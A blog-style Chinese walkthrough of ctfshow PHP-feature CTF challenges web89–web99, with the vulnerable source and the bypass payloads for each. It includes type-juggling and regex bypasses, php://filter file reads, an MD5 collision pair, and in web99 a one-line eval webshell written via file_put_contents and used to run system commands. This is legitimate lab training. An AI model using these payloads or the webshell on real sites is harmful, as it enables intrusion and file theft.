ctfshow-php特性

w89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

先了解到我们要传入一个get请求num,preg_match函数是限制num的值,判断num里面是否有0-9,也就是不能带数字,如果带数字直接结束进程,我们利用preg_match函数无法处理数组,通过数组绕过,然后intval函数检测数组,如果是非空数组即返回1([]不是非空数组,空数组应该是array())

所以构造playload:

?num[]=1

得到flag:ctfshow{cec13854-3c5b-4317-a73f-42b3d2cfe18f}

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

 传入一个get值num,如果num等于十进制的4476就结束程序,我们要传入一个值强等于4476,===的作用先判断类型相同吗,如果不相同直接返回错误,如果相同就进行值的比较,我们再看intval($num,0)函数

66f0acd9409d4bf595198b7178f38077.png

base是0,我们可以通过4476的8进制或者16进制来得到flag,而且我们知道intval函数获取变量的整数如果我们传入4476a只会取4476,所以playload为

?num=0×117c    //十六进制
?num=010574    //八进制
?num=4476a     //取整数

 得到flag:ctfshow{9cd0221e-1cc1-4035-b188-1e228eb18c24}

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

首先我们传入一个get请求cmd,preg_match('/^php$/im', $a)这个代码刚开始看不明白什么意思,去百度查了表达式全集,我们知道了^是开头要是php,$是结尾是php,所以我们就传php就行,然后又搜了/im是什么意思,/i是不区别大小写,/m是多行匹配,如果第一个匹配成功就进入下一个匹配,我们就可以用%0a也就是换行的url编码来进行绕过构造playload:

?cmd=%0aphp
?cmd=php%0aphp     //在网站我们传入一个php%0aphp是分为两行,第一行是php CRLF,第二行是php,所以在第二个if处第一行匹配不成功

第一个传入是这样子的aa70869f9b6f443ab339ce865d787969.png

 得到flag:ctfshow{9f4e1da2-697a-4d43-b108-f4b50b9ca731}

web92

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

与90题差不多,只是变成弱等于,那我们不能用4476a了因为4476a=4476,但是16进制与八进制还是可以用,看到一些大佬wp用科学计数法e,比如4476e12就是4476*10的12次方,但是在intval中遇到字母就会停止所以就等于4476所以playload就是:

?num=0×117c    //十六进制
?num=010574    //八进制
?num=4476e12   //科学计数法

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

和之前的差不多类型,但是它限制了字母并且不区分大小写,所以十六进制不行,科学计数法也不行,这两个都带字母,用八进制,构造playload:

?num=010574

得到flag:ctfshow{0ce17b8e-f699-481b-8436-d153a1c79f96}

web94


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

不能直接传入4476,也不能带字母也不区分大小写

strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,只要匹配到0都是true,第一位匹配正确返回0,第二位匹配正确返回1,依此递推.如果第一位为0输出0再加上!变为1if语句就成立,所以第一位不能为0,所以playload:

?num=%0a010574      //通过换行符来绕过
?num=%20010574      //通过空格来绕过
?num=4476.01        //通过小数带0来绕过

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

和上面一题差不多,要检测到0,0不能在第一位,不能带字母和点,所以可以用空格符和换行符来绕过,所以playload:

?num=%0a010574      //通过换行符来绕过
?num=%20010574      //通过空格来绕过

得到flag:ctfshow{d9c88609-912c-4c4d-8276-4bcb45c58c95}

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

highlight_file函数可以读取文件,但是他过滤了flag.php文件,我们就可以用相对路径或者绝对路径来绕过,我们先随便读取一个文件 

 我们可以看到没有这个文件,但是我们也可以看到这个路径

看到这个函数我们也可以想到伪协议来读取文件

我们构造playload:

?u=/var/www/html/flag.php              绝对路径
?u=./flag.php                          相对路径
?u=php://filter/resource=flag.php      php伪协议 
?u=php://filter/convert.base64-encode/resource=flag.php   如果他过滤了flag.php

可以得到flag:ctfshow{6c9dcacf-1ffc-4dee-98a0-1374883e5624}

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

isset检测里面要有值,然后传入post请求我们变量不能相同,但是他们的mad值要强等于所以我们可以构造MD5碰撞强等于构造playload:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

我在hackbar用不能得出结果,但是在bp里面可以得到flag

我们也可以利用数组绕过,数组的MD5为0构造playload:

a[]=1&b[]=2

得到flag:ctfshow{8136af57-e8da-4720-a1f7-d18f1505a1c8}

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

第一句就是传入一个get请求会转化成post请求,第四个就是传入get请求HTTP_FLAG=flag可以得到flag,我们只要post传入就会转到get请求,get请求随便都行构造playload:

// GET传参
?b=1
// POST传参
HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

定义一个空的数组,for循环,在36到811随机取一个数插入在空数组后面,如果传入的get请求n中与数组有相同就将get请求n与post请求content写入文件,我们可以利用弱相等,传入get值1.php,因为随机数为1到多少多少,1的概率大,然后1.php被转化为1然后相同,执行下面的语句,我们在写一个一句话木马post请求,playload:

?n=1.php
post传参
content=<?php @eval($_POST[a]);?>
a=system('ls');
a=system('cat flag36d.php');

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值